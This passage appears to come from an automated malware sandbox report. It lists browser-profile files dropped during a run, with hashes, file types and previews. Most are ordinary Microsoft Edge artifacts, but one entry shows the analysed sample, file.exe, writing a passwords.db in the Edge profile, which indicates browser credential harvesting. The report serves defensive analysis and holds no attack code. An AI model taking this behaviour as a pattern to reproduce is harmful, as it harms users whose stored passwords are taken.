SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.36515621748816035
Encrypted:	false
SSDEEP:	24:TLH3lIIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:Tb31DtX5nDOvyKDhU1cSB
MD5:	25363ADC3C9D98BAD1A33D0792405CBF
SHA1:	D06E343087D86EF1A06F7479D81B26C90A60B5C3
SHA-256:	6E019B8B9E389216D5BDF1F2FE63F41EF98E71DA101F2A6BE04F41CC5954532D
SHA-512:	CF7EEE35D0E00945AF221BEC531E8BF06C08880DA00BD103FA561BC069D7C6F955CBA3C1C152A4884601E5A670B7487D39B4AE9A4D554ED8C14F129A74E555F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......X..g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\a2a26171-a3d5-41b0-b5b6-e44ba70cfeb8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\bd0fa554-ccb1-4436-bb60-c627b26f3e66.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	420
Entropy (8bit):	5.2338479860192395
Encrypted:	false
SSDEEP:	12:k9p9lvYfYebvqBZFUt8/9pB/+/9pJFz5JfYebvqBaJ:k9zpYfYebvyg8/909zXJfYebvL
MD5:	5BF000B3A6E83C75ED0939FE9D563804
SHA1:	14A6846D2053085DE46AB30CB3F98135880B8141
SHA-256:	CE250812DBC3923774C10390F2137145799D4B89777C346008B379A7900A67FB
SHA-512:	835EAE5492A0CCEED749F3C700EC401B62AD83DCD7D8C9487754E145F6A7398BFB6AFADDDA748250AD63EA307677AAC235563D70DDC342484002D6B80E3C7560
Malicious:	false
Preview:	2024/11/21-16:09:43.992 2100 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/21-16:09:43.993 2100 Recovering log #3.2024/11/21-16:09:43.997 2100 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	420
Entropy (8bit):	5.2338479860192395
Encrypted:	false
SSDEEP:	12:k9p9lvYfYebvqBZFUt8/9pB/+/9pJFz5JfYebvqBaJ:k9zpYfYebvyg8/909zXJfYebvL
MD5:	5BF000B3A6E83C75ED0939FE9D563804
SHA1:	14A6846D2053085DE46AB30CB3F98135880B8141
SHA-256:	CE250812DBC3923774C10390F2137145799D4B89777C346008B379A7900A67FB
SHA-512:	835EAE5492A0CCEED749F3C700EC401B62AD83DCD7D8C9487754E145F6A7398BFB6AFADDDA748250AD63EA307677AAC235563D70DDC342484002D6B80E3C7560
Malicious:	false
Preview:	2024/11/21-16:09:43.992 2100 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/21-16:09:43.993 2100 Recovering log #3.2024/11/21-16:09:43.997 2100 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.1875951897535195
Encrypted:	false
SSDEEP:	6:HE9CAq2Pwkn23oH+TcwtpIFUt8YE9nZmw+YE9N9okwOwkn23oH+Tcwta/WLJ:k9jvYfYebmFUt8/9n/+/9fo5JfYebaUJ
MD5:	294E985D8E6A104111C23398649271CA
SHA1:	AC1CF12E948FEF812BB3763C6CFF674699B73840
SHA-256:	325953963CCBF151D9995C1310A1B7773632E51619EF0862500BA05DF9C607E4
SHA-512:	5AF823D61FF382C254B82D3EA07035300B602FEB35AC879208AB86A48C8417FC7D9600788D6F49954881813A293F45E46EE2D1B7FEBD8295F22CF93BC3D1917A
Malicious:	false
Preview:	2024/11/21-16:09:27.307 2030 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/21-16:09:27.308 2030 Recovering log #3.2024/11/21-16:09:27.312 2030 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.1875951897535195
Encrypted:	false
SSDEEP:	6:HE9CAq2Pwkn23oH+TcwtpIFUt8YE9nZmw+YE9N9okwOwkn23oH+Tcwta/WLJ:k9jvYfYebmFUt8/9n/+/9fo5JfYebaUJ
MD5:	294E985D8E6A104111C23398649271CA
SHA1:	AC1CF12E948FEF812BB3763C6CFF674699B73840
SHA-256:	325953963CCBF151D9995C1310A1B7773632E51619EF0862500BA05DF9C607E4
SHA-512:	5AF823D61FF382C254B82D3EA07035300B602FEB35AC879208AB86A48C8417FC7D9600788D6F49954881813A293F45E46EE2D1B7FEBD8295F22CF93BC3D1917A
Malicious:	false
Preview:	2024/11/21-16:09:27.307 2030 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/21-16:09:27.308 2030 Recovering log #3.2024/11/21-16:09:27.312 2030 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Top Sites

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 7, 1st free page 5, free pages 2, cookie 0x5, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.26707851465859517
Encrypted:	false
SSDEEP:	12:TLPp5yN8h6MvDOH+FxOUwa5qVZ7Nkl25Pe2d:TLh8Gxk+6Uwc8NlYC
MD5:	04F8B790DF73BD7CD01238F4681C3F44
SHA1:	DF12D0A21935FC01B36A24BF72AB9640FEBB2077
SHA-256:	96BD789329E46DD9D83002DC40676922A48A3601BF4B5D7376748B34ECE247A0
SHA-512:	0DD492C371D310121F7FD57D29F8CE92AA2536A74923AC27F9C4C0C1580C849D7779348FC80410DEBB5EEE14F357EBDF33BF670D1E7B6CCDF15D69AC127AB7C3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.......j.j................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 89, cookie 0x66, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	184320
Entropy (8bit):	1.0671253497371274
Encrypted:	false
SSDEEP:	192:QSqzWMMUfTXnGCTjHbRJkkqtXaWTK+hGgH+6e7EHVumYTvn6:QrzWMff7nzkkqtXnTK+hNH+5EVumA
MD5:	F967E3D2E08090FB4988D09F91E19715
SHA1:	5D2FB017661EC4C896DD08B39658615BF639B3EA
SHA-256:	92DCA9B13257188BC8DB76D7917C5874F5F398D215A15064A9FAF1C7F642E516
SHA-512:	E49ACB80E76B9797036B31544B252FE29F987EDF0A30B2965029F54907B291688CC286B544E18A2A8308A42A613B2EB28AADCEDF73650551FE4288F86C50795C
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........f......................................................j............O........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebAssistDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 7, cookie 0xb, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	14336
Entropy (8bit):	0.7836182415564406
Encrypted:	false
SSDEEP:	24:LLqlCouxhK3thdkSdj5QjUsEGcGBXp22iSBgm+xjgm:uOK3tjkSdj5IUltGhp22iSBgm+xj/
MD5:	AA9965434F66985F0979719F3035C6E1
SHA1:	39FC31CBB2BB4F8FA8FB6C34154FB48FBCBAEEF4
SHA-256:	F42877E694E9AFC76E1BBA279F6EC259E28A7E7C574EFDCC15D58EFAE06ECA09
SHA-512:	201667EAA3DF7DBCCF296DE6FCF4E79897C1BB744E29EF37235C44821A18EAD78697DFEB9253AA01C0DC28E5758E2AF50852685CDC9ECA1010DBAEE642590CEA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..................n..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46664073662584404
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcBIPI:v7doKsKuKZKlZNmu46yjxEI
MD5:	ADE2147CD1B1FAC00955124CA67E1785
SHA1:	4391A81CF3B8B27222E6F08941DC9A9F32CA10F4
SHA-256:	8E87483482C4932E14ABD9AE2A527B4BDDF2B01CC274471359BA884D3B3AB688
SHA-512:	D5D357D4BD53544BB670EDD8D9658C03B15813E10EE70FD2CFF8C335C31FB91CAFB1C88304BE2A011EA4481903F8F237E0B7233CCF204CE375E08AE701E0B5D8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c87255d6-65fb-4a0e-9045-b826656dcbb2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9732
Entropy (8bit):	4.95633898006202
Encrypted:	false
SSDEEP:	96:sVxkdliuUJ1rb9VMH+cQaY6cR85Th6Xp9/x+6M8mueclk1eAeCfe4zvrU2NHQyVd:sVxkdlSJE+jaY6cR84pj+FSkQAzUO1f
MD5:	2699B12A607D5131409EDF5D2BF4F33B
SHA1:	FBC870D9E6DBA2D31AAB8A8EB2BCC02B58EF3B0F
SHA-256:	1C6B93FE3BF2ADE9301E76DE9B98302C3CC8E89DAE1924034DD53DB4818D84F4
SHA-512:	A7BAC58C8A96EE9767BA1A58ED58D7752CA75160D05BE2658E0FC51E565876B199E3609AADDD05DF2EAE574286DE3E00A1A68CD66A9ECC8FF6C5E5718003020C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13376696967884022","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":10090,"left":10000,"maximized":false,"right":10500,"top":10000,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":0,"browser_content_container_width":456,"browser_content_container_x":0,"browser_content_container_y":111,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d3f9ec7b-38ce-4110-8ab0-d7caed41c5bc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d5167053-6377-4529-865c-3ebfe41b4f3f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	39694
Entropy (8bit):	5.562698730048948
Encrypted:	false
SSDEEP:	768:z9yUo27pLGLPnVWPUafxT8F1+UoAYDCx9Tuqh0VfUC9xbog/OVudHIhXyrwwn8Mt:z9yUoWcPnVWPUafxTu1jaLdHmX3wn8Mt
MD5:	D62892CEA7A664517BBE0393CFC252C4
SHA1:	C387CD44A50B990F1D1CF62290C583045463469F
SHA-256:	243C5D219FDC05B085DE4ABE7304B4B369784FFA94F382E6737A8B5A067CE054
SHA-512:	C6F9E93DA1C1E64E373C0E7BC53653B42CF3E602C2C3A5AF624D572FD3DABBC31C137F01336690FB3A464DAFA3EFB8AA3D5D5BC03623CC3F25C0190FBBCDD321
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376696967298871","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376696967298871","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\heavy_ad_intervention_opt_out.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 4, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.35226517389931394
Encrypted:	false
SSDEEP:	12:TLC+waBg9LBgVDBgQjiZBgKuFtuQkMbmgcVAzO5kMCgGUg5OR:TLPdBgtBgJBgQjiZS53uQFE27MCgGZsR
MD5:	D2CCDC36225684AAE8FA563AFEDB14E7
SHA1:	3759649035F23004A4C30A14C5F0B54191BEBF80
SHA-256:	080AEE864047C67CB1586A5BA5EDA007AFD18ECC2B702638287E386F159D7AEE
SHA-512:	1A915AF643D688CA68AEDC1FF26C407D960D18DFDE838B417C437D7ADAC7B91C906E782DCC414784E64287915BD1DE5BB6A282E59AA9FEB8C384B4D4BC5F70EC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......Q......Q......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.038549475594463034
Encrypted:	false
SSDEEP:	3:Gtl5/8JquVCAHz41l5/8JquVCAHrMRa9//9lnl/telfl6ll:GtoJbJsoJbJg89XHl/c
MD5:	B1EB8D69B2EE6EDDDF0390A89FB3AE22
SHA1:	C165E4ED2314EAC630CFBC684E9564C0A2017F29
SHA-256:	F882D5A5C3E63A55D8F0DB244AC872F04948E649D3BE293CAE04D157001125CB
SHA-512:	2F0877AFAA1FF0D7A8047E654D14FE8B00886DA9C0A5580B254E9C48EF3FA430B696F6814D3F483315C3ACE6EB9638971C51AD350E249FB2E5EC73AD429BB2F7
Malicious:	false
Preview:	..-......................sd...~.:.........%x.i,..-......................sd...~.:.........%x.i,........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	16512
Entropy (8bit):	0.2254952350002404
Encrypted:	false
SSDEEP:	12:KMfFK2FKyezajkFKDlBq8KNK6ozaj0Ycn:KecV3HcDl5KUnYo
MD5:	5A4C46A37109C5133532C35B293ECE20
SHA1:	894D261529C526A30CDB3EABBDAAFE6BA35FF4A1
SHA-256:	CAC648110928710D8B07F642210B0BC489DD5CA6BB962C494C47ABD3AA5C7FB1
SHA-512:	3CD95CC0171409CFAADF1702B7ABF3991F893BDDC619D450A7D336C2EEB976958CE2DB997D19E5080621E6FA7A6E21A02BA91F4F625D95E636D32A5F3B720C9C
Malicious:	false
Preview:	7....-...........:.......p>.3.-N.........:.........s1.\u................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\passwords.db

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	155
Entropy (8bit):	4.304843117213832
Encrypted:	false
SSDEEP:	3:VVXntjQPEnjQrvtl3seGKT9rcQ6xQUtlTxotl:/XntM+oFl3sedhOQUu
MD5:	763F5ECE02713FB2C2B3E6E38F1A1B50
SHA1:	CA1D7AD68427B000371E25DF5B1B37746472B789
SHA-256:	C4CE6D7EB3B8A49F833000C8A88098E28F420ADA74D5520C07E3D955BD820DDF
SHA-512:	96E7A3B7D410EA665F82A244E584C9DAF26583B5F9C69A4EB5E320E32802E7C3E5544F93C515FC3EDBCD94E517E413C1D2AA4CE16188BBCB7C3BDCFB3678632E
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..\.0................39_config..........6.....n ....1u}.=...............u}.=...............

